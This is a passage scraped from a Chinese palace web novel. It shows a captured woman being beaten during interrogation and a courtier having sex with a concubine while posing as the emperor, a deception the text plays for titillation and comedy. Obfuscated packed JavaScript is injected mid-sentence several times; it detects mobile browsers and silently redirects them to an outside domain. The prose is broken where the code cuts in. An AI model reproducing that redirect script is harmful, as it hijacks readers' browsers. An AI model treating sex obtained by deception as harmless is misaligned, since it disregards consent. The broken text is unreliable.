她双手被吊起,两脚被固定,又没有丝毫力气可以挣扎。 看起来又凄美,又楚楚可怜。 在殿内的都是群单身久了的糙老爷们,见状都有些忍不住的咽了口唾沫。 等一切做好以后,侯春站在雷影仙子身前,居高临下的看着她,面带凶狠。 几秒过后,一拳狠狠打在她肚子上。 “砰。 “唔!咳咳咳咳. “说!为什么要帮顾南山! “呵。雷影仙子露出一抹惨烈的笑容,“天地公道,自在人心。 侯春很不怜香惜玉地啐了她一口:“呸!我家世子才是天道,你们算个屁! 言罢又是一拳打在她小腹上。 砰—— “啊!!咳咳咳. 连续两记重拳,即便雷影仙子武功高强也难以抵抗,疼得浑身直哆嗦,胃里翻江倒海。 侯春却不罢手,眼珠子猩红,怒吼道。 “说!为什么要帮顾南山! “因为他雷影仙子上气不接下气地喊道:“因为他救过我。 “救过你,所以你就助纣为虐!你知不知道,顾南山不仅是世子大敌,更是联合拜火教坑害百姓,密谋造反!这样的人,也值得你们去救? “他坑不坑害,造不造反和我都没关系。我只知道知恩图报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好!哈哈哈,今天你们有福了!听我的命令,出去排队!” “呜呼!多谢鼠爷!” “鼠爷牛逼!” 眼见人都出去了,黄鼠捏着下巴上上下下打量着雷影仙子。 这娘们是真他妈漂亮啊。 就是把大乾翻过来,也找不出第二个这么漂亮的女人。 “仙子姐姐,你别怪我。敢和世子作对,就是这个下场。” “你放心吧,鼠爷我一向很温柔,不像那些糙汉子。乖,闭上眼睛,等把你们天道的人杀光了,你就可以死了。” 撕拉—— “唔唔唔唔!!!” 她极力摇头。 “唔!” 她一声痛呼。 “呜呜呜” 她开始落泪。 黄鼠手里拿着敲木鱼的木鱼槌,揉着自己大腿,疼得呲牙咧嘴。 “不是,我敲我自己大腿,你叫唤什么啊?” 第196章 林臻,替朕圆房!! 只见黄鼠坐在地上。 撕拉—— 撕开自己大腿上的布料然后拿起木鱼槌啪啪啪地敲腿发出的声音竟然与圆房时一模一样。 这是要闹哪样啊? 韩忠抱着肩膀站在一边不理解地问向侯春。 “猴子他这是干什么呢?” 侯春摆摆手:“嗐这不是没办法嘛。我们是军人。不是土匪更不是山贼。总不能真做出排队羞辱女子的事情来吧?即便我们再痛恨她最多也就杀之了事越过底线的事情绝不能做否则世子会降罪的。” “那老鼠为什么要敲自己大腿啊?” “呦?”侯春满脸八卦地看向他:“处男啊哥哥~” 韩忠一愣。 我TM是不是处男跟你有什么关系? “不是.你什么意思?” “这就是男女圆房时候发出的声音但凡有点见识的听到这声音都知道屋里在干什么。你试想一下如果她的弟子听见这个声音呢?如果她们天道的人听见呢?会不会抓狂?会不会奋不顾身地来救她?” “嘶”韩忠听完都懵了。 果然还是城里套路深啊 果然跟着林臻混就TM学不到好。 “真有你们的那你让兄弟们出去排队又是为什么?” “废话你总不能让黄鼠自己一直敲吧?敲绝育了个屁的了。” 从这一点上韩忠不由想起了二狗。 这个家伙如果没受伤肯定比侯春还有经验呢。 也罢由他们折腾吧但凡有天道的人敢来老子可不懂什么叫怜香惜玉。 其实除了军人底线这个理由以外林臻进宫前特意交代侯春不能让雷影仙子死了。 因为他需要利用这个女人来打击天道。 这个组织实在是太可恨了。 从刚开始密谋抓张俪再到今天强行保下顾南山。 他们已经数次与林臻为敌。 办事不讲章法行为不遵律法只按自己心情与道义这成何体统? 按照林臻的脾气不把他们全部抓出来弄死绝不会善罢甘休。 但同时林臻也没想到侯春他们居然开始有底线了没有对雷影仙子行侮辱之事。 没错他们是军人是受过严格训练的士兵不是土匪山贼更不是邪教徒。 我们可以对敌人施以惩罚但要时刻记住士可杀不可辱的底线否则我们与禽兽何 异? 再者,当一名军人,或者一支军队失去底线的话,他们将会是世间效率最高的破坏者。 这是林臻不愿意看到的,他更希望拥有的是一只有灵魂,有本事,有血性,有品德的军队,而不是像顾南山那样为达目的不择手段的败类。 当然,话又说回来,非常时期有非常手段,当敌人死活不开口的时候还是需要上刑的,两者并不矛盾。 不知不觉,夜幕降临。 月亮开始升起,与西斜的太阳相呼应。 林臻不由地想起后世那首歌。 “白天和黑夜,只交替没交换~ “无法想象对方的世界~ 林臻坐在慕容嫣下首位置的办公桌后面,一边在心里默默哼唱着,一边看慕容嫣批阅奏折。 这张桌子是慕容嫣后加的,说以后林臻来了不必站在他身边,就坐在这即可。 一下午的时间,顾家不断有消息传进宫里。 一会儿是打造棺椁,一会儿是披麻戴孝,一会儿是出殡时间。 慕容嫣听得心烦,于是喊来礼部尚书董仲康,让他配合顾北辰全权负责此事,并且在全国范围内发布讣告。 又下旨让顾云霆以一品官员的礼遇陪葬先帝昭陵。 林臻暗暗对慕容嫣这个决定竖起大拇指。 顾云霆是先帝宠臣,那就去陪先帝吧。 估计先帝在地府生活得挺好挺顺利。 但人一帆风顺不是什么好事儿,派顾云霆过去让他闹闹心,上几节社会教育课也不错。(你人还怪好得嘞~) 顾云霆一死,以文臣为主的顾家派系官员群龙无首。 众人都在家里琢磨,不知该如何是好。 投靠林震仙肯定是不行的,因为这世间最痛苦的死法就是饿死。 但不投靠他,文臣这边又缺个领头羊,办事不便。 很多曾经顾家派系的官员已经开始暗中联络,打算明天早朝就准备好册立新丞相的奏折。 林臻在议政殿呆了一下午。 本来站在她身边的时候还能闻到些少女的芳香,谁知现在竟坐冷板凳。 而且慕容嫣这娘们也不说有什么事情,只时不时的问上几句,没个重点。 终于,天色越来越晚,林臻觉得自己该回去了。 就在这时,慕容无舌走了进来,对慕容嫣说道。 “陛下,该安寝了。 慕容嫣点点头:“唔。 慕容无舌犹豫了一下,还是举起手 里的牌子。 “陛下是否要翻个牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789329|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子呢?” 慕容嫣盯着那托盘里的木牌,幽幽地叹了口气。 她犹豫了。 即便选了又如何呢?自己又不能行房,到时候皇帝是个女子的消息就会传出去。 可如果不选,群臣一样会怀疑,一样会继续上奏相劝。 唉,难啊。 慕容无舌可能也猜到了她的想法。 “陛下。” 言罢他轻轻瞟了一眼林臻。 慕容嫣不解地看他,又转过头,美眸打量着林臻,而后又转回头,说道:“你的意思是” 慕容无舌跪在了地上,言辞恳切,带着几分哀求。 “陛下,为了江山稳定,已经别无他法了。” 慕容嫣当然他话里的深意,于是叹息道:“唉,也罢。你随便挑一个吧,朕一会儿就过去。” “遵旨。” 慕容无舌拿出了司马春雷的牌子,揣进怀里,走了出去。 慕容嫣放下朱笔,双手撑在龙案上,略感头疼。 她闭着眼睛喊道:“林臻。” “陛下。” “你” 慕容嫣话音未落,林臻便说道,“哦,已经很晚了,臣确实该回去了。” “不是!”慕容嫣瞬间睁开眼睛,娇嗔地看着他,那表情很像没吃饱,还想再吃两次的晴雯。 “你!.你和朕过来。” 言罢慕容嫣起身走向屏风后面,没有丝毫犹豫。 此时林臻心里砰砰地跳。 天呐,她不会真的要我和那些秀女行房吧? 那自己答不答应呢? 不答应算不算抗旨啊? 他起身步伐沉稳地跟在慕容嫣身后,两人来到后堂。 这里四下无人,灯光昏暗,耳畔除了急促的心跳外听不到任何声音。 慕容嫣咬紧贝齿,深吸一口气,最终回身,低下头鼓起勇气说道:“林臻,你已经知道朕的身份了吧?” “是。”林臻点头,坦然承认。 唉,到底还是让他知道了呀。 慕容嫣不知道自己是欣喜还是忧郁,再次深呼吸。 “那你应该知道,朕不能和妃子圆房。可如若不圆房,那些大臣是不会善罢甘休的。朕的身份不能曝光出去,所以朕需要你帮一个忙。” 坏了。 真的是要我伺候妃子! 老天爷啊,我这两天刚想养养身子! 慕容嫣忽然美眸看着林臻:“林臻,朕需要你去替朕圆房。” 第197章 小粉灯下的洗头房 “这这不合适吧?陛下。林臻说话有些不自在。 毕竟他没有替皇帝圆房的经验,不知道该守什么规矩,更不知道该从哪个洞进去。 那些爽文小说里,什么假太监流、争霸流、女帝流、架空流、昏君流的,主角也都在替女帝圆房,但谁也没敢写过程啊。 无从借鉴。 便无从下手。 眼见林臻有些不情愿,慕容嫣幽幽地叹了口气。 “唉,林臻,朕知道你不愿意,但为了江山社稷,为了社会稳定,朕实在没有其他办法了呀!林臻,你就委屈委屈,勉为其难地去替朕圆房吧,当朕求你了。你放心,事成之后,朕一定会重重谢你! 勉为其难 委屈委屈 天呐,我好委屈,我好难哦! 林臻表情就像被强迫的少女那般无助,最后点点头:“好吧,臣遵旨就是了。 慕容嫣激动地抓住林臻两臂,像躲进他怀里似的撒娇道:“朕就知道没看错你! “可是陛下,万一被娘娘认出来怎么办? “不会的,按照宫里的规矩,你到妃子寝宫时已经是入寝时间,房间漆黑的也看不出来什么,你只需速速办事,办完离开即可。 听着这么像小粉灯下的洗头房呢? “臣遵旨。 “或者.你去睡朕的寝宫,让他们把人给你抱来,等你办完事情,朕再命人把他们送回去。 送进来又送回去。 好贴心哦~ 林臻早就对清宫剧里那一套垂涎三尺了。 可恶的曹贼,每晚享用的都是浑身光溜溜用被子裹住,抗进寝宫的秀女佳人。 不过在大乾,还是别这样了。 不手撕一回宫裙,林臻觉得自己亏得慌。 “臣遵旨,这就去替陛下办事。不过.臣还有一个疑问。 “你说! “万一生出孩子来怎么办? 慕容嫣十分欣喜:“那当然是大功一件啊! “. 替皇帝生孩子,居然是大功一件。 唉,也不知道这娘们脑袋里到底都装了些什么。 林臻怀揣着心事走出后门,就见慕容无舌正手持拂尘站在门口,宽敞的大路上还停着一架华丽的步辇。 “嘿嘿嘿嘿~无舌那沟壑纵横的老脸上满是男人都懂的笑意。 林臻有些恶寒。 你一个老太监搞这么猥琐干什么? “无舌先生。 “世子您今晚上有福了哦~” 林臻摆摆手:“嗐既然只有我们两个人知道陛下的身份那这件事情就得你我来办。说吧今天晚上与那位娘娘圆房啊?” “额”慕容无舌拿起木牌看了看说道:“是司马春雷。” “啊!!!?” 泰森? 那个腰比水桶粗脸比飞碟大屁股和磨盘差不多的大地春雷? 林臻眼前一黑一头险些栽在花盆里。 慕容无舌赶紧把他扶住。 “世子!世子!唉这不是老奴多嘴 “老无咱能换个人不?” 老无? 这什么称呼? 慕容无舌微愣琢磨半天觉得可能是在称呼自己于是问道。 “世子怎么意思?” 林臻扶着门垛站起来连连摆手:“我不喜欢司马春雷更下不去嘴。你给我换一个只要不是她谁都可以!” “世子的意思是司马春雷很丑吗?” “她还不丑吗?” “唔虽然春雷娘娘不算大众眼里的美女但是也不差啊琴棋书画样样精通诗词歌赋也是信手拈来绝没有世子说的那么不堪。” “少来!会这些东西不代表长得好看别人都可以唯独司马春雷不行!” “可是老奴都已经把消息送过去了。现在春雷娘娘正在沐浴更衣准备迎驾呢。如果说不去了她那火爆脾气还不得跳井啊?” “跳就跳跟我有什么关系?” “跟您确实没关系可他父亲毕竟是御史大夫也算王爷的好友。万一逼死了陛下岂不为难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789330|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 司马忠啊司马忠。 枉你也算一表人才老来风流。 怎么就生出这么个丑丫头呢! 现在连累我都要遭罪了。 唉如果是后世就算长得再丑也有化妆、口罩遮挡。 抹黑上床眼一闭腰一挺也能当她是赵颖颖。 可问题是现在没有那么厉害的化妆术。 林臻无法想象一个像泰森似的黑娘们站在自己面前对自己搔首弄姿千娇百媚地翻起厚厚黑黑的大嘴唇子露出没有进化完全的獠牙说上一句:“陛下~该歇息啦~” 我哕!!! 见林臻想吐慕容无舌赶紧拍拍他的后背。 “唉世子啊 ,您就当为了天下苍生,献身一回吧!只此一次,陛下不会亏待你的!” 林臻头也不回,连连干呕。 最终,他还是无奈地摆了摆手:“老无啊,我答应你,这就去春雷宫里,但有一点!我要是实在下不去嘴,你得允许我跑出来!” 慕容无舌有些无奈。 让你去替陛下圆房,这是天大的恩宠! 怎么整得好像大家都求你似的。 “行吧,老奴就在宫门口等您。万一有个风吹草动,立刻将您救出来!” “一言为定。” 自从先帝死后,这偌大皇宫的后宫就空出来了。 上到太后、皇后,下到十几个嫔妃,再到没有机会上位的各种秀女、才人,把后宫住的满满登登。 如今惨死的惨死,陪葬的陪葬,出家的出家,导致后宫已经是一片冷清,在月光照耀下犹如无人鬼域一般,甚至还经常发生灵异事件。因此慕容嫣没有住进后宫,一直在前面的寝宫里居住。 这种诡异持续到秀女们进宫,才算稍有缓解,为冷冷清清的宫闱妆填了一抹生气。 月亮越来越高,皎洁无垠,把光芒洒满大地,林臻在慕容无舌的刻意安排下换上龙袍,坐上有帐幔的步辇,被四个小太监抬着,身后跟着一大帮太监宫女,直奔秀春宫。 第198章 你们最爱看的一章(测试版) “陛下驾到!!” 因为慕容无舌早就送去了消息所以此时在宫里伺候的太监、宫女包括穿着得体的司马春雷都立刻跑出来成片地跪倒在门口。 “妾身恭迎陛下。” 嗯? 这声音听着不错啊。 林臻暗暗留了个心眼因为她知道互联网上那些声音好听的女主播大多都是与长相不符的你想想乔碧罗对吧? “平身。”深沉的声音传来。 司马春雷笑着回应:“谢陛下。” 随即林臻的步辇被径直抬到卧房门口缓缓放下林臻踩着小凳子落地只留给所有人一个孤傲的背影走进卧房。 慕容无舌跟着进去很贴心地吹熄了蜡烛然后说道:“嘿嘿嘿嘿~陛下加油哦~” “滚蛋!” 林臻没好气地骂了一句慕容无舌自从当了太监脸都塞裤裆里了也不在乎。 含笑着走到门外对站在那里不知所措的司马春雷说道。 “娘娘陛下已经在里面等了老奴去外面候着。” 知道陛下是来临幸自己的司马春雷很是高兴笑着点头送上一锭银子。 “多谢无舌公公了。” “呵呵呵呵老奴也恭喜娘娘了。” 言罢两人笑着作别谁也不顾及林臻的感受。 房间内林臻龙袍都没脱就躺在床榻上。 他已经想好了如果实在下不去嘴就借口自己有事赶紧开溜。 却没想到青纱帐幔被掀开两个娇滴滴的大美人走了进来! 林臻躺在黑暗中定睛观瞧。 只见其中一个女子身材高挑亭亭玉立皮肤虽然不是很白但绝不是黑。 胸前布料被撑着鼓鼓的 再看她的脸。 林臻竟微微有些震惊。 晴雯就已经很漂亮了浣碧也绝非胭脂俗粉更别说天生媚骨的张俪与超脱俗尘的月妩眼前女子与她们四位相比竟毫不逊色甚至各有千秋。 这是传说中的司马春雷吗?可别走错房间了。 另外还有一女站在门口虽长相不及身边女伴但亦有几分姿色。 该大的地方大该小的地方小。 不说天姿国色但也属于没有五十万彩礼娶不走的那种。 她们俩到底谁才是司马春雷啊? 还 是说司马春雷在圆房前得打打拳,热热身,到现在还没进来呢? 林臻试探性的问道:“司马春雷。” 低沉的声音再次传来,只见那高挑的姑娘迈着小碎步上前,带着几分羞涩与欣喜,对林臻盈盈下拜。 “妾身拜见陛下。” 那一抹淡蓝色长裙在月光的映射下十分美丽,乌黑长发与地砖相碰,摩擦出数只火花。 嘶.这与传闻不符啊。 不行,还得再确认确认,万一闹出乌龙来可不是开玩笑的。 “你父亲是谁?” 司马春雷跪在地上,头也不敢抬地回答:“回陛下,妾身父亲乃是御史大夫,司马忠。” “那你为何叫春雷呢?” “妾身本名叫司马椿蕾,春雷是妾身故意编出来的玩笑话。” 啊? 林臻好奇地再次问道:“这是为何?” “因为在妾身很小的时候,父亲就一直说要将妾身嫁人。可是妾身只一心一意想要嫁给陛下,所以无奈之下,只好编出这个谎言,让民间才子都对妾身敬而远之。” 原来是这样啊! 我的宝贝,委屈你了! 朕这就来疼你! “平身吧。” “谢陛下。” 林臻看向还站在门口的贴身丫鬟雪琪,说道:“你出去吧。” “啊”雪琪一愣。 你不是少年天子吗? 难道做那种事情的时候不需要帮忙? 不需要指导? 你能找到门吗? 罢了,等你不得其门而入的时候,肯定还得叫我。 雪琪微微躬身:“奴婢遵旨。” 走了,都走了。 房间里的气氛顿时暧昧起来。 司马椿蕾也没有经验,只呆呆地站在床边,两只粉拳紧紧攥在一起不知该如何是好。 (我知道你们看爱,所以多来点,如果发现少,那就是被迫删除了) 林臻笑着坐起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789331|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 纱帐的黑暗中,司马椿蕾看不清他的脸,只觉眼前之人很是俊朗帅气,眼睛很是明亮。 咦. 司马椿蕾贝齿轻咬,害羞低头。 因为她发现林臻的眼睛正一眨不眨地盯着自己胸前猛看。 天啊,好有侵略性的目光,我好喜欢! 再往下看看。 再往下看看吧。 陛下,您倒是往下看啊! 妾身哪里都很美,不光是胸脯啊。 果然,林臻的目光顺着司马椿蕾的心思徐徐向下。 那修长圆润的双腿躲在裙摆里,精致的美足被盖住看不出轮廓。 不知道将其撕开脱掉,又会是何等光景。 林臻咽了口唾沫。 他从没干过任何替人圆房的事情,如今想来真是既刺激又兴奋。 难怪大奸臣董卓对此事乐此不疲,更难怪温实初喝顿酒便把持不住。 这可是皇帝的媳妇啊! 这哪个男人能把持得住? 林臻对司马椿蕾勾了勾手指:“过来,坐下。” 司马椿蕾猜到要发生什么,于是只怯生生地坐在床边,不敢有丝毫主动。 却见林臻往外坐了坐,直接从身后抱住她,把头枕在她香肩上,嘴贴在耳边。 痒痒的感觉传来,让司马椿蕾不禁红了脸颊,脖颈滚烫。 “陛下.” “很晚了,我们休息吧。” “嗯。” 林臻也算老手,轻轻在司马椿蕾耳垂一吻。 惊得姑娘浑身酥麻酸软,霎时间没了主意,靠在林臻怀里,任其摆布。 林臻发现她的呼吸越来越急促,手掌传来的心跳也越来越快,便知时候差不多了。 他抓住那淡蓝色长裙领口。 撕拉—— “陛下!这是蜀地来的锦罗,很贵的呢。” “没事,朕再给你买十件。” “陛下,您真好。” “好什么?大大?还是粗粗?” 司马椿蕾听不懂,只闭着美眸羞涩抿嘴,不敢多言。 于是,林臻也越来越放肆。 第199章 竟然被林臻这个纨绔给夺走了! 正常来讲皇家的规矩有很多限制圆房时间就是其中之一。 大清的时候皇帝圆房时间通常为半个时辰可以少但不能多多了就会坏规矩。 这也是担心皇帝玩女丧志搞垮了身体荒废了政务所以特别设定的。 但林臻在这就属于超脱三界外不在五行中了。 慕容无舌蹲在宫门口听着里面旖旎的声音尴尬地抓耳挠腮呲牙咧嘴。 连太监都如此更别说那些未经人事的宫女了一个个羞得双腿夹紧脸色绯红。 这林臻也太过分了。 两个时辰天都快亮了。 什么好女架得住你这么折腾? 再说万一赶着日出让太监宫女看到你的正脸这些人全都要死。 宫里已经没有那么多杂役可以让陛下灭口了。 终于里面的声音结束了。 慕容无舌站起来挥挥手步辇团队立刻走到院里准备。 林臻把龙袍披在身上在浑身香汗淋漓昏昏欲睡的司马椿蕾唇边一吻淡笑着走了出去。 “陛下.您晚上还来吗?” 林臻停住脚步 司马椿蕾虽然没有得到自己想要的答案但却一点也不生气相反她很是满足。 自己可是第一个被皇帝宠幸的妃子从此在后宫里地位超然! 若是能怀上龙子那这皇后的身份就板上钉钉了。 她强忍着身体的不适坐起来想梳妆打扮打扮手胡乱一摸竟然在床上摸到一枚温热的玉佩。 一定是陛下的贴身物件! 自己可要好好珍藏。 她拿起来命雪琪点燃烛火定睛观瞧了一阵突然失声大叫! “啊!!!!” 雪琪慌忙问道:“娘娘怎么了?” “这这是什么?”司马椿蕾指着玉佩上的游龙雪琪不解地拿过去看了看。 “是游龙玉佩呀。” “你仔细看看那龙有几个爪子?” “一二.三.啊!!竟然是四只爪子!娘娘!!出大事了!” 司马椿蕾又把玉佩抢回来翻过来。 只见那上面写着三个大字。 摄政王。 司马椿蕾顿时觉得晴天霹雳双眼发黑。 “天呐.难道刚刚和我圆房的人是林臻!??” “啊?娘娘!这可怎么办啊!万一被陛下知道我们会死的! ” 司马椿蕾想到什么瞬间有一行清泪滴落随即趴在桌子边放声大哭。 “啊!!呜呜呜呜!” “娘娘您别哭了您快说说我们怎么办呀!” “呜呜呜骗我!他们都骗我!呜呜呜我不惜自毁名声才保全的贞洁竟然被林臻这个纨绔给夺走了!呜呜呜呜” “呜呜呜。”闻言雪琪跪在司马椿蕾脚边也跟着哭得心碎哭着哭着她突然抬起头问道“娘娘我们到底怎么办才好啊老爷那边还等消息呢!” 良久司马椿蕾才止住哭声。 她坐起来亵衣已经被泪水浸透胸前隐隐约约凸显的轮廓很是醉人 那诱人的红草莓时时刻刻提醒着司马椿蕾自己已为人妇。 而丈夫却是她从来没有喜欢过甚至还很讨厌的纨绔——林臻。 她仿佛认命那般被抽了浑身力气瘫软在椅子上表情呆滞两眼无神的说道。 “去告诉父亲吧就说陛下与我圆房了。” “啊?可是与您圆房的是林臻啊!” 司马椿蕾擦了擦眼角的泪水。 “傻丫头这里是皇宫林臻再怎么混蛋也不可能随随便便就敢进来侵害妃子这件事情肯定是经过陛下同意的。如果我们将实话说出去林家手握重兵不会怎样。但我们俩可就活不成了甚至在陛下雷霆大怒中整个司马家都有可能万劫不复。” “那陛下为什么这么做呀?娘娘这么漂亮又这么刚强他到底为何不来圆房却偏偏让林臻来替呢?” “可能陛下也相信传言了吧。呵我这也算是自食恶果了。” 雪琪还是不甘心她拽着司马椿蕾的手摇晃道:“娘娘您这就梳洗打扮然后去议政殿见陛下!奴婢不相信陛下肯定会爱慕您的美貌不会不喜欢您的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789332|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“傻丫头即便我再漂亮也已经是残花败柳了自古皇帝三千佳丽又怎会喜欢我呢?”她心疼地捋了捋雪琪鬓角的发丝。 “去收拾东西吧用不了几天我们可能就要搬到冷宫去住了。这场博弈终究还是让我们成了牺牲品。” “娘娘.呜呜呜呜” 林臻还不知道自己游龙玉佩丢了的事儿他坐着步辇一路奔向慕容嫣寝宫。 按理说除了召见与极其特殊的事情否则皇帝休息的地方大臣是不可以去的但林臻现在已经不是外人了是唯三知道慕容嫣是女子身份的人。 那两 个人,一个是嬛嬛,一个就是慕容无舌。 对慕容嫣来讲,最好的结果就是被身边的人知道,这样他们对自己还可以有所帮助,可一旦全朝堂的臣子都知道,那就是一场灾难了。 因为嬛嬛被关了起来,所以慕容嫣就只能自己梳洗,自己安寝。 但天生没独立生活过的她根本不具备这种能力,此时天光放亮,眼看着就要到上早朝的时间了,慕容嫣还在和自己的束胸作斗争。 本来束胸是从后背用别针系上的,现在她只能把接口放到前胸,可因为目标太大,怎么系也系不上,就算刚系好,稍微呼吸几次就会崩开! 她烦躁地把别针扔在梳妆台上,就这么赤果果的坐在镜子前生闷气。 “真是的,挺好个姐妹,说叛变就叛变,弄得朕现在连衣服都穿不上了。” 显然,在慕容嫣心中,嬛嬛犯的错误不可原谅。但出于多年情意,又下不了杀手。 没办法,她只能重新培养一个宫女了。 心烦意乱的慕容嫣重新拿起别针,正准备再试试,突然听到后门响了! 林臻直接被步辇抬了进来。 而后门又与她安寝的房间是贯通的,平时都是嬛嬛负责关门,今天她竟然忘记了。 林臻一进门,就看到一张光洁无瑕的美背,而那镜子里的倒影,让人鼻血喷张! “啊!!”慕容嫣失声大叫。 慕容无舌咣当一声就跪在了地上。 第200章 那是朕的肚兜,你快摘下来! 那镜子里的倒影,胸前轮廓分明,白皙如玉,巨大而美丽。 或者这就是传说中半碗型吧? 本以为晴雯已经是女中豪杰,大乾第一美奶,却没想到慕容嫣居然在大小与形状上更胜一筹! “啊!!! 看到林臻进来,半身赤裸的慕容嫣吓得失声大叫,连忙捂住要害。 殊不知她越是如此,那形状就愈发美丽动人。 慕容无舌赶紧闭上眼睛,咣当一声就跪在地上。 “陛下!老奴可什么也没看见啊!都是林臻,他非要直接进寝宫! 林臻有些无语:“不是,哥们 “林臻!!!慕容嫣气得哇哇大叫,弯腰弓背将自己前胸贴在膝盖上。 这一弯不要紧,竟然还露出三寸腰下娇臀。 这可是皇帝的身体啊,林臻看得咽了口唾沫。 就在他愣神的瞬间,慕容无舌已经趴在地上一点一点像蛆似的退了出去,步辇也在缓缓放下,所有太监宫女都悄无声息地离开。 慕容嫣再也顾不上假装男子声音,背对着林臻痛斥道:“你还不给朕滚出去! “陛下,嬛嬛不在,您怎么穿衣服啊? 林臻当然知道嬛嬛天天给他扎束胸的事情,所以他故意抛出这个问题,就看慕容嫣想怎么解释。 果然,慕容嫣微微一愣,竟无言以对。 林臻走下步辇,向她走来,她突然如被踩到尾巴的小猫,立刻大喊:“不许过来! “陛下,眼看着就要上朝了,您总不能就这样去吧?微臣是唯一知道您身份的臣子,所以臣愿意帮忙。 慕容嫣半信半疑:“帮忙?你帮什么忙? “臣知道束胸的办法,可以帮您迅速整理好。 “你 男女有别,慕容嫣心中当然是一万个不乐意。 可如果因为一个束胸就被百官察觉到自己的真实身份,又很不值得。 难道真就让林臻占了这个便宜? 慕容嫣摇摇头:“林臻,你被以为朕不知道你打的什么鬼主意,你休想! “陛下,事急从权,臣也是为了您的帝位,为了大乾江山,不得已才出此下策。如果您不同意,臣这就告退,回府里休息了。 林臻是真的想帮慕容嫣吗? 答案是肯定的。 他并不是想成心占便宜,而是真的在为她着想。 现在群臣已经开始怀疑她的真实性别,如果再出什么意外,臣子散了心, 不管对民生还是政务都是很不好的影响。 林臻既然励志要把大乾打造成繁华盛世就不得不帮助慕容嫣。 当然说舔也没问题。 但林臻舔的是皇帝不是你们那芝麻绿豆的小领导所以他并不觉得自己丢人。 慕容嫣听了林臻的话竟然再次沉默。 偌大的宫殿内只有一男一女女子还半身光洁没穿衣服美背与芬芳共鸣说不暧昧是不可能的。 尤其此刻慕容嫣还红着脸不敢起身更不敢去看林臻。 她都不知道自己该如何是好了。 让林臻走吧衣服穿不上总不能让慕容无舌那个老家伙进来帮忙吧? 即便他是个太监。 不让林臻走吧那自己这具从没有男人看过的身体就要毫不掩饰地展现在他眼前。 就在慕容嫣脸颊滚烫内心纠结的时候林臻拿起床上的一块布将眼睛蒙住。 “陛下臣保证不乱看。” “你哼。”慕容嫣从镜子看到他这个动作不知为何竟有几分温暖。 林臻到底还是个正人君子这点毋庸置疑。 但他蒙眼睛上的东西怎么这么熟悉啊? “啊!!林臻!!那是朕睡觉时的肚兜!你快摘下来!” “啊?”林臻张着嘴微微一愣。 我说怎么这么香呢。 他赶紧取下来又拿起另一块布。 慕容嫣见状更是焦急万分脸红得都要滴出血来了。 “那是亵裤!!” “我陛下您就没有个合适的布料吗?” 慕容嫣没好气地吼道:“你自己把那纱幔撕下来!” 这个林臻有经验走过去一抬手 撕拉—— 动作和昨晚如出一辙。 然后把布料缠绕在眼睛上。 慕容嫣见林臻绑好了这才勉勉强强地敢回头去看。 殊不知这纱幔薄得很 天呐! 太刺激了吧! 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789333|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且看慕容嫣的样子居然完全不知道! 林臻忙闭上眼睛默念了几句非礼勿视随即说道:“陛下再耽搁下去就真没时间了。” “你不许摘掉纱幔更不许偷看!否则朕就挖了你的眼睛!” “臣遵旨。” 